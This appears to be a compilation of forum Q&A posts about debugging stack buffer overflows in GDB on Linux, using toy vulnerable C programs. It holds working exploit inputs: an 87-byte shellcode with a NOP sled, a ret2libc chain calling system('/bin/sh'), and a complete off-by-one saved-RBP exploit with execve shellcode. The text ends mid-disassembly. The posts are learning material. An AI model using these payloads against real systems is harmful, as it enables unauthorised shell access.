I am working through some buffer overflow exploit examples and have written a basic vulnerable C app to test with: (target and attacker is the same Kali 2 machine and have run "echo "0" > /proc/sys/kernel/randomize_va_space")
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buffer[256];
if (argc != 2)
{
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Now, with some testing in GDB i can cause a seg fault by putting 260 bytes in the buffer:
r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
with the registers showing:
eax 0x105 261
ecx 0xffffd300 -11520
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0xffffd300 0xffffd300
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
I think i can successfully gain control of EIP, given the 0x424242 above (although EBP is 0x0??)
Question 1.
With a buffer of 260 bytes, EIP is overridden as above. If using:
r $(python -c 'print "A" * 512')
i am finding that the SEGSEGV is at 0x080484b4 with registers
eax 0x201 513
ecx 0x41414141 1094795585
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x80484b4 0x80484b4 <main+89>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
I would have thought that if the 260 gains control of EIP, shouldn't the 512 byte example as well? Why does the 512 scenario allow the EIP to point to the ret in this case instead of the 0x424242 as in the 260 bytes buffer example above??
Question 2.
I have created a payload that is 87 bytes. I have injected the payload into the initial 204 bytes as below
r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')
My disas main is as follows
0x0804845b <+0>: lea 0x4(%esp),%ecx
0x0804845f <+4>: and $0xfffffff0,%esp
0x08048462 <+7>: pushl -0x4(%ecx)
0x08048465 <+10>: push %ebp
0x08048466 <+11>: mov %esp,%ebp
0x08048468 <+13>: push %ecx
0x08048469 <+14>: sub $0x104,%esp
0x0804846f <+20>: mov %ecx,%eax
0x08048471 <+22>: cmpl $0x2,(%eax)
0x08048474 <+25>: je 0x8048480 <main+37>
0x08048476 <+27>: sub $0xc,%esp
0x08048479 <+30>: push $0x0
0x0804847b <+32>: call 0x8048340 <exit#plt>
0x08048480 <+37>: mov 0x4(%eax),%eax
0x08048483 <+40>: add $0x4,%eax
0x08048486 <+43>: mov (%eax),%eax
0x08048488 <+45>: sub $0x8,%esp
0x0804848b <+48>: push %eax
0x0804848c <+49>: lea -0x108(%ebp),%eax
0x08048492 <+55>: push %eax
0x08048493 <+56>: call 0x8048310 <strcpy#plt>
0x08048498 <+61>: add $0x10,%esp
0x0804849b <+64>: sub $0xc,%esp
0x0804849e <+67>: lea -0x108(%ebp),%eax
0x080484a4 <+73>: push %eax
0x080484a5 <+74>: call 0x8048320 <puts#plt>
0x080484aa <+79>: add $0x10,%esp
0x080484ad <+82>: mov -0x4(%ebp),%ecx
0x080484b0 <+85>: leave
0x080484b1 <+86>: lea -0x4(%ecx),%esp
=> 0x080484b4 <+89>: ret
Putting a break on 56 (0x08048493) and examining the ESP x/2wx $esp i can find that:
0xffffd220: 0xffffd230 0xffffd56b
and x/s 0xffffd56b
0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb)
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>
so, can deduce (hopefully correctly) that EIP should be \x6b\xd5\xff\xff to call the exploit, and substituting all pieces as below (using nop sled):
r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')
Unfortunately, the program is now just terminating normally with "[Inferior 1 (process 2863) exited normally]". Am i missing something or just way off the correct path...? Also i notice breaks no do not break in the statement above?
-- Edit
Reworded to make more sense after walking away from the hours at the screen :)
Notice that the original stack pointer is saved on the stack and it is restored just before the ret. So if you overwrite the stack you might also overwrite the stack pointer which will be used for the ret. main is special this way, because it has stack alignment code in the prologue.
That said, the expected behavior is actually the second case and the first is the special one. Your string happens to be just the right length so the terminating zero overwrites the low byte of the saved stack pointer which is just enough to make it point a little lower in memory, but still within your string. The exact location will depend on stack layout, it won't always be your BBBB, in fact for me it's somewhere in the AAAA part. Note that even with ASLR off, stack layout might change due to environment so even if you get an exploit working in gdb it might not work reliably, or at all, from a shell.
Related
I'm curious about how overwriting the stack is different in the main function than in other functions
Take this example:
#include <stdio.h>
int main(int argc, char *argv[])
{
char buf[8];
gets(buf);
}
In this code, the buffer to be overflowed is created in the main function, and as a result I receive this output from gdb after entering in a lot of 'A's:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x5655620c in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
7 }
(gdb) info registers eip
eip 0x5655620c 0x5655620c <main+63>
Disassembly for main:
0x000011cd <+0>: endbr32
0x000011d1 <+4>: lea ecx,[esp+0x4]
0x000011d5 <+8>: and esp,0xfffffff0
0x000011d8 <+11>: push DWORD PTR [ecx-0x4]
0x000011db <+14>: push ebp
0x000011dc <+15>: mov ebp,esp
0x000011de <+17>: push ebx
0x000011df <+18>: push ecx
0x000011e0 <+19>: sub esp,0x10
0x000011e3 <+22>: call 0x120d <__x86.get_pc_thunk.ax>
0x000011e8 <+27>: add eax,0x2df0
0x000011ed <+32>: sub esp,0xc
0x000011f0 <+35>: lea edx,[ebp-0x10]
0x000011f3 <+38>: push edx
0x000011f4 <+39>: mov ebx,eax
0x000011f6 <+41>: call 0x1070 <gets#plt>
0x000011fb <+46>: add esp,0x10
0x000011fe <+49>: mov eax,0x0
0x00001203 <+54>: lea esp,[ebp-0x8]
0x00001206 <+57>: pop ecx
0x00001207 <+58>: pop ebx
0x00001208 <+59>: pop ebp
0x00001209 <+60>: lea esp,[ecx-0x4]
0x0000120c <+63>: ret
Here, the EIP register was not overwritten and apparently gdb cannot access memory at an overwritten address.
Whereas in this example where the buffer stuff is written in another function:
#include <stdio.h>
void over() {
char buf[8];
gets(buf);
}
int main(int argc, char *argv[])
{
over();
}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers eip
eip 0x41414141 0x41414141
Disassembly for main:
0x000011f9 <+0>: endbr32
0x000011fd <+4>: push ebp
0x000011fe <+5>: mov ebp,esp
0x00001200 <+7>: and esp,0xfffffff0
0x00001203 <+10>: call 0x1219 <__x86.get_pc_thunk.ax>
0x00001208 <+15>: add eax,0x2dd0
0x0000120d <+20>: call 0x11cd <over>
0x00001212 <+25>: mov eax,0x0
0x00001217 <+30>: leave
0x00001218 <+31>: ret
Disassembly for over:
0x000011cd <+0>: endbr32
0x000011d1 <+4>: push ebp
0x000011d2 <+5>: mov ebp,esp
0x000011d4 <+7>: push ebx
0x000011d5 <+8>: sub esp,0x14
0x000011d8 <+11>: call 0x1219 <__x86.get_pc_thunk.ax>
0x000011dd <+16>: add eax,0x2dfb
0x000011e2 <+21>: sub esp,0xc
0x000011e5 <+24>: lea edx,[ebp-0x10]
0x000011e8 <+27>: push edx
0x000011e9 <+28>: mov ebx,eax
0x000011eb <+30>: call 0x1070 <gets#plt>
0x000011f0 <+35>: add esp,0x10
0x000011f3 <+38>: nop
0x000011f4 <+39>: mov ebx,DWORD PTR [ebp-0x4]
0x000011f7 <+42>: leave
0x000011f8 <+43>: ret
A slightly different message is provided and the EIP is overwritten
Why does this make a difference? Why is the EIP not overwritten when the buffer is created in the main function?
I am using: gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
And compiled with: gcc -m32 -g -fno-stack-protector source.c -o vuln -z execstack
The difference is pretty arbitrary. The exact prologue/epilogue instruction sequence generated by GCC is different for over() in the second example than it is for main() in the first example. So it crashes it a very different way, from a debugger's point of view. After single-stepping in GDB, you can see why, and I have just killed some time doing so.
The stack is thoroughly corrupt upon returning from gets(), so all bets are off, but anyway, here goes. I run the first example, setting a breakpoint immediately after returning from the call to gets():
(gdb) disassemble main
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x14,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: lea -0x10(%ebp),%eax
0x08048442 <+23>: push %eax
0x08048443 <+24>: call 0x80482e0 <gets#plt>
0x08048448 <+29>: add $0x10,%esp
0x0804844b <+32>: mov $0x0,%eax
0x08048450 <+37>: mov -0x4(%ebp),%ecx
0x08048453 <+40>: leave
0x08048454 <+41>: lea -0x4(%ecx),%esp
0x08048457 <+44>: ret
End of assembler dump.
(gdb) b *0x08048448
Breakpoint 1 at 0x8048448: file source.c, line 6.
(gdb)
Now continue to enter some garbage, hit the breakpoint, and start single-stepping:
(gdb) r
Starting program: /home/lstrand/tmp/vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048448 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:6
6 gets(buf);
(gdb) disassemble
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x14,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: lea -0x10(%ebp),%eax
0x08048442 <+23>: push %eax
0x08048443 <+24>: call 0x80482e0 <gets#plt>
=> 0x08048448 <+29>: add $0x10,%esp
0x0804844b <+32>: mov $0x0,%eax
0x08048450 <+37>: mov -0x4(%ebp),%ecx
0x08048453 <+40>: leave
0x08048454 <+41>: lea -0x4(%ecx),%esp
0x08048457 <+44>: ret
End of assembler dump.
(gdb) bt
#0 0x08048448 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:6
Backtrace stopped: Cannot access memory at address 0x4141413d
(gdb) stepi
0x0804844b 6 gets(buf);
(gdb)
7 }
(gdb)
0x08048453 7 }
(gdb)
0x08048454 7 }
(gdb)
0x08048457 7 }
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x08048457 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
7 }
(gdb) bt
#0 0x08048457 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
Backtrace stopped: Cannot access memory at address 0x4141413d
(gdb) info reg
eax 0x0 0
ecx 0x41414141 1094795585
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x8048457 0x8048457 <main+44>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
Here, we die on the ret instruction in main() because the stack pointer esp has the bad value 0x4141413d. GDB correctly pinpoints the failing instruction as being in main().
But what happens in the over() case? Let's take a look:
lstrand#styx:~/tmp$ gdb ./vuln2
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln2...done.
(gdb) disassemble over
Dump of assembler code for function over:
0x0804842b <+0>: push %ebp
0x0804842c <+1>: mov %esp,%ebp
0x0804842e <+3>: sub $0x18,%esp
0x08048431 <+6>: sub $0xc,%esp
0x08048434 <+9>: lea -0x10(%ebp),%eax
0x08048437 <+12>: push %eax
0x08048438 <+13>: call 0x80482e0 <gets#plt>
0x0804843d <+18>: add $0x10,%esp
0x08048440 <+21>: nop
0x08048441 <+22>: leave
0x08048442 <+23>: ret
End of assembler dump.
(gdb) b *0x0804843d
Breakpoint 1 at 0x804843d: file source2.c, line 5.
(gdb) r
Starting program: /home/lstrand/tmp/vuln2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Breakpoint 1, 0x0804843d in over () at source2.c:5
5 gets(buf);
(gdb) disassemble
Dump of assembler code for function over:
0x0804842b <+0>: push %ebp
0x0804842c <+1>: mov %esp,%ebp
0x0804842e <+3>: sub $0x18,%esp
0x08048431 <+6>: sub $0xc,%esp
0x08048434 <+9>: lea -0x10(%ebp),%eax
0x08048437 <+12>: push %eax
0x08048438 <+13>: call 0x80482e0 <gets#plt>
=> 0x0804843d <+18>: add $0x10,%esp
0x08048440 <+21>: nop
0x08048441 <+22>: leave
0x08048442 <+23>: ret
End of assembler dump.
(gdb) info reg
eax 0xffffd198 -11880
ecx 0xf7fa45c0 -134593088
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0xffffd180 0xffffd180
ebp 0xffffd1a8 0xffffd1a8
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x804843d 0x804843d <over+18>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) stepi
6 }
(gdb)
0x08048441 6 }
(gdb)
0x08048442 6 }
(gdb) stepi
0x41414141 in ?? ()
(gdb) info reg
eax 0xffffd198 -11880
ecx 0xf7fa45c0 -134593088
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0xffffd1b0 0xffffd1b0
ebp 0x41414141 0x41414141
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Note the subtle difference here. In this case, the epilogue code unwinds %esp with simple arithetic: "add $0x10,%esp" (as opposed to restoring it from the stack, as in the first case). The 'leave' instruction puts garbage into the frame pointer %ebp, but the new %esp value obtained from %ebp is still valid. Then the ret instruction sucessfully executes, leaving us a bad ip, 0x41414141. And then the program dies with SIGSEGV trying to read an instruction from nowhere.
In this case, GDB has no hope of unwinding the stack:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
#1 0x41414141 in ?? ()
#2 0x41414141 in ?? ()
#3 0x41414141 in ?? ()
#4 0x41414141 in ?? ()
#5 0xf7006141 in ?? ()
#6 0xf7fa4000 in ?? () from /lib/i386-linux-gnu/libc.so.6
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb)
Recall in the first case, the program died on the ret instruction itself because %esp was already bad. In the first case GDB can still find where the program is, but in the second case it cannot.
I performed ret2libc but ended in segfault in 0x0000000000000000. The vulnerable proagram is
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
char buf[10];
gets(buf);
printf("%s\n",buf);
}
int main()
{
get();
printf("Done\n");
return 1;
}
The disassembly from gdb is
(gdb) disass main
Dump of assembler code for function main:
0x000055555555516d <+0>: push rbp
0x000055555555516e <+1>: mov rbp,rsp
0x0000555555555171 <+4>: mov eax,0x0
0x0000555555555176 <+9>: call 0x555555555145 <get>
0x000055555555517b <+14>: lea rdi,[rip+0xe82] # 0x555555556004
0x0000555555555182 <+21>: call 0x555555555030 <puts#plt>
0x0000555555555187 <+26>: mov eax,0x1
0x000055555555518c <+31>: pop rbp
0x000055555555518d <+32>: ret
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
0x0000555555555145 <+0>: push rbp
0x0000555555555146 <+1>: mov rbp,rsp
0x0000555555555149 <+4>: sub rsp,0x10
0x000055555555514d <+8>: lea rax,[rbp-0xa]
0x0000555555555151 <+12>: mov rdi,rax
0x0000555555555154 <+15>: mov eax,0x0
0x0000555555555159 <+20>: call 0x555555555040 <gets#plt>
0x000055555555515e <+25>: lea rax,[rbp-0xa]
0x0000555555555162 <+29>: mov rdi,rax
0x0000555555555165 <+32>: call 0x555555555030 <puts#plt>
0x000055555555516a <+37>: nop
0x000055555555516b <+38>: leave
0x000055555555516c <+39>: ret
End of assembler dump.
I used radare2 to find the gadget pop rdi;ret which is located at 0x7ffff7e1d7de. /bin/sh is located at 0x7ffff7f7f1ac and system() is located at 0x7ffff7e3f8a0
(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Breakpoint 1, main () at exploit.c:12
12 get();
(gdb) c
Continuing.
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2964]
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
The registers are
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x0 0
rdx 0x0 0
rsi 0x7fffffffde88 140737488346760
rdi 0x2 2
rbp 0x4242424242424242 0x4242424242424242
rsp 0x7fffffffe1b8 0x7fffffffe1b8
r8 0x0 0
r9 0x0 0
r10 0x8 8
r11 0x246 582
r12 0x555555555060 93824992235616
r13 0x7fffffffe280 140737488347776
r14 0x0 0
r15 0x0 0
rip 0x0 0x0
eflags 0x10216 [ PF AF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
I use a 64-bit machine.The program was compiled using gcc -ggdb -Wall -fno-stack-protector -o a exploit.c. Also I disabled aslr manually.
Why did it end in segfault?
The message
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
means that your program has jumped to address 0 (that is, the %pc is 0), which is an invalid address. This is probably due to executing a ret instruction when the value on the top of the stack is 0.
You also see the message
[Detaching after vfork from child process 2964]
which likely means the system function is being called, but for whatever reason is not doing what you expect it to do.
To debug this sort of thing, you need to carefully step through the code one instruction at a time using si commmand (and occasional ni to skip over calls)
I am taking this software security class, but I have never done c before, I have taken some computer organization class, but not confident in assembly at all. I commented all the lines in the file generated by objdump to help myself understand it, but several things still don't make sense to me.
What I got from gdb is at the end, based on that, can someone explain to me:
based on my understanding by now, the string format should be %d %d, the number of arguments converted by sscanf should be larger than 1, the first argument should be smaller than 5, so I typed 2 3, but the arrow in disas by gdb shows I am still stuck in the first line of the code, I don't know where I am wrong that I just cannot proceed.
which line is telling me the rule to switch? I read other people's assembly code, the pattern is like, for example, *0x402470(,%rax,8), the pattern is 0x402470 + %rax*8, then you can print out the content in the corresponding address, I don't know where to find this pattern. All I can see is that *%rax, but when I print it out, it's just the string I typed in.
what are # 0x555555556cf5 in line <+28> and # 0x555555556a80 in line <+58>? I found they are always very useful because I read other people's post, I know what I am looking for, but I don't know what they are..
I learned %rax and (%rax), but what is *%rax? I can't imagine there is the case beyond just using the value directly or using the value as an address.
based on what I read from gdb tutorial, x is to display memory content, and p is to print a value, but value is always stored in somewhere of memory, so if I am using an address, are they two just same? when should I use which one?
Any suggestion or guide would be very appreciated!!! I am taking an online class on ARM assembly too, suggestions on what more specific material I should look into would be very appreciated too, thank you!!!!
That's number 2. Keep going!
2 3
Breakpoint 1, 0x00005555555552cd in phase_3 ()
(gdb) disas
Dump of assembler code for function phase_3:
=> 0x00005555555552cd <+0>: sub $0x18,%rsp
0x00005555555552d1 <+4>: mov %fs:0x28,%rax
0x00005555555552da <+13>: mov %rax,0x8(%rsp)
0x00005555555552df <+18>: xor %eax,%eax
0x00005555555552e1 <+20>: lea 0x4(%rsp),%rcx
0x00005555555552e6 <+25>: mov %rsp,%rdx
0x00005555555552e9 <+28>: lea 0x1a05(%rip),%rsi # 0x555555556cf5
0x00005555555552f0 <+35>: callq 0x555555554f20 <__isoc99_sscanf#plt>
0x00005555555552f5 <+40>: cmp $0x1,%eax
0x00005555555552f8 <+43>: jle 0x555555555317 <phase_3+74>
0x00005555555552fa <+45>: cmpl $0x7,(%rsp)
0x00005555555552fe <+49>: ja 0x55555555539d <phase_3+208>
0x0000555555555304 <+55>: mov (%rsp),%eax
0x0000555555555307 <+58>: lea 0x1772(%rip),%rdx # 0x555555556a80
0x000055555555530e <+65>: movslq (%rdx,%rax,4),%rax
0x0000555555555312 <+69>: add %rdx,%rax
0x0000555555555315 <+72>: jmpq *%rax
0x0000555555555317 <+74>: callq 0x5555555559d3 <explode_bomb>
0x000055555555531c <+79>: jmp 0x5555555552fa <phase_3+45>
0x000055555555531e <+81>: mov $0x2ad,%eax
0x0000555555555323 <+86>: jmp 0x55555555532a <phase_3+93>
0x0000555555555325 <+88>: mov $0x0,%eax
0x000055555555532a <+93>: sub $0x228,%eax
0x000055555555532f <+98>: add $0x29e,%eax
0x0000555555555334 <+103>: sub $0xee,%eax
0x0000555555555339 <+108>: add $0xee,%eax
0x000055555555533e <+113>: sub $0xee,%eax
0x0000555555555343 <+118>: add $0xee,%eax
0x0000555555555348 <+123>: sub $0xee,%eax
0x000055555555534d <+128>: cmpl $0x5,(%rsp)
0x0000555555555351 <+132>: jg 0x555555555359 <phase_3+140>
0x0000555555555353 <+134>: cmp %eax,0x4(%rsp)
0x0000555555555357 <+138>: je 0x55555555535e <phase_3+145>
0x0000555555555359 <+140>: callq 0x5555555559d3 <explode_bomb>
0x000055555555535e <+145>: mov 0x8(%rsp),%rax
0x0000555555555363 <+150>: xor %fs:0x28,%rax
0x000055555555536c <+159>: jne 0x5555555553a9 <phase_3+220>
0x000055555555536e <+161>: add $0x18,%rsp
0x0000555555555372 <+165>: retq
0x0000555555555373 <+166>: mov $0x0,%eax
0x0000555555555378 <+171>: jmp 0x55555555532f <phase_3+98>
0x000055555555537a <+173>: mov $0x0,%eax
0x000055555555537f <+178>: jmp 0x555555555334 <phase_3+103>
0x0000555555555381 <+180>: mov $0x0,%eax
0x0000555555555386 <+185>: jmp 0x555555555339 <phase_3+108>
0x0000555555555388 <+187>: mov $0x0,%eax
0x000055555555538d <+192>: jmp 0x55555555533e <phase_3+113>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) i r
rax 0x555555758760 93824994346848
rbx 0x0 0
rcx 0x5 5
rdx 0x555555758760 93824994346848
rsi 0x3 3
rdi 0x555555758760 93824994346848
rbp 0x0 0x0
rsp 0x7fffffffdf78 0x7fffffffdf78
r8 0x7ffff7ff7006 140737354100742
r9 0x0 0
r10 0x5 5
r11 0x246 582
r12 0x555555554fe0 93824992235488
r13 0x7fffffffe060 140737488347232
r14 0x0 0
r15 0x0 0
rip 0x5555555552cd 0x5555555552cd <phase_3>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/s $rdx
0x555555758760 <input_strings+160>: "2 3"
(gdb) x/s 0x555555556cf5
0x555555556cf5: "%d %d"
(gdb) x/s $rsp
0x7fffffffdf78: "\206QUUUU"
(gdb) x 0x555555556a80
0x555555556a80: 0xffffe89e
(gdb) p 0x555555556a80
$1 = 93824992242304
(gdb) x/8a 0x555555556a80
0x555555556a80: 0xffffe8a5ffffe89e 0xffffe8faffffe8f3
0x555555556a90: 0xffffe908ffffe901 0xffffe916ffffe90f
0x555555556aa0 <array.3415>: 0xa00000002 0x100000006
0x555555556ab0 <array.3415+16>: 0x100000000c 0x300000009
(gdb) x/s $r8
0x7ffff7ff7006: "8 16 32\no give Tina Fey more material.\n"
(gdb) x/s $r12
0x555555554fe0 <_start>: "1\355I\211\321^H\211\342H\203\344\360PTL\215\005\252\030"
(gdb) x/s $r13
0x7fffffffe060: "\001"
(gdb) x/s $rip
0x5555555552cd <phase_3>: "H\203\354\030dH\213\004%("
You put a breakpoint at that location. To proceed use stepi/nexti or set another breakpoint. Note that the call is to sscanf which uses a string source. Your input has already been read from stdin by that point, it's passed as argument into this function.
+65 to +72 is the switch, it's just broken up into parts due to an extra addition.
Friendly service of your disassembler. It shows the actual calculated address so you don't have to figure out what e.g. 0x1a05(%rip) will be.
* means indirect jump in at&t syntax. jmp *%rax is "jump to the address stored in rax". It's needed to differentiate jmp foo and jmp *foo. Register operands are unambiguous but the notation is still used (gas will issue a warning otherwise).
Not all values are in memory. To print a register for example you must use p. You can use p to print content of memory too by dereferencing but x is more flexible for that purpose.
If you view the binary in a disassembler like Binary Ninja or IDA pro, it will show you the addresses of the switch statements.
So I was trying Offbyone Buffer overflow with the help of this following simple code
#include <string.h>
void cpy(char *x){
char buf[128]="";
strncat(buf,x,sizeof(buf));
}
int main(int argc, char **argv)
{
cpy(argv[1]);
}
As this diagram depicts how an Offbyone buffer over flow works
Taken from : https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481
Here is the Disassembly of main and cpy
Here is the payload that I used
Memory dumps
So using the buffer , in the Cpy stack frame i change the value of the saved RBP's least significant byte to 00 ( because of the Offbyone overflow achieved by providing exactly 128byte input )
As you can see the address 0x7fffffffe177 has stored EBP whose value is changed from 0x7fffffffe190 to 0x7fffffffe100
So I went ahead and had the starting address of my payload at the address 0x7fffffffe10F which is also the return address of main
which is supposed to be 0xffffe110 0x00007fff instead of 0xffffe110 0x90907fff but since we shouldn't have 00 in payload I am not able to set the return address because since it's an 64bit address is of 8byte long 0xffffe110 0x00007fff
So how exactly should we have the return address here ?
And since the image of the memory dump, in break point 1 , its the cpy function frame why is argc and argv [] on the top of the stack ?
I am new to Exploit writing and all the help will be much appreciated .
So let's start with a description of the trick that can be used to set the desired return address value without passing zero bytes in payload.
I've changed your code a little bit to make it easier to do the trick. Here is new code:
#include <string.h>
int i;
void cpy(char *x) {
char buf[128];
for (i = 0; i <= 128; ++i) {
buf[i] = x[i];
}
}
int main(int argc, char **argv) {
cpy(argv[1]);
return 0;
}
The main difference is that now we can control the value of the less significant byte of saved rbp. In your example we only can set it to zero.
So here the stack frame of our cpy function:
#rbp - saved base stack pointer of main function
#rsp - stack pointer at the start of cpy function (right after push rbp)
The trick is that we overwrite the last byte in such way that #rbp = #rsp - 8. So when we return from main function $rbp will be equal to #rsp - 8 and thus return address will be 8 bytes before #rsp - 8 i.e. also #rsp - 8!
After return from main we will jump to #rsp - 8. So now we simply put jmp to shellcode at this address and we are done:
But in your original example this trick can't be done because we can't control value of less significant byte of #rbp.
It should also be noted that this trick will not work if #rbp and #rsp differ more than in one last byte.
And finally here is exploit.
Compile code with executable stack and without stack protection:
$ gcc test.c -o test -z execstack -fno-stack-protector
Get byte code for our jmp to shellcode:
$ rasm2 -a x86 -b 64 'jmp -0x50'
ebae
Exploit under gdb:
$ gdb --args test $(python -c 'print "\x90" * 91 + "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" + "\xeb\xb8" + "a" * 6 + "\xc8"')
>>> b cpy
>>> b *cpy+90
>>> r
Breakpoint 1, 0x00000000004004aa in cpy ()
So here is saved rbp:
>>> x/1gx $rbp
0x7fffffffd3d0: 0x00007fffffffd3f0
Here is rsp at the start of cpy function:
>>> p/x $rsp
$1 = 0x7fffffffd3d0
The value of rbp which we want to get after return from cpy (that's why last byte of payload is \xc8)
>>> p/x $rsp - 8
$2 = 0x7fffffffd3c8
Continue to the end of cpy:
>>> c
Breakpoint 2, 0x0000000000400500 in cpy ()
Asm code of cpy:
>>> disassemble cpy
Dump of assembler code for function cpy:
0x00000000004004a6 <+0>: push rbp
0x00000000004004a7 <+1>: mov rbp,rsp
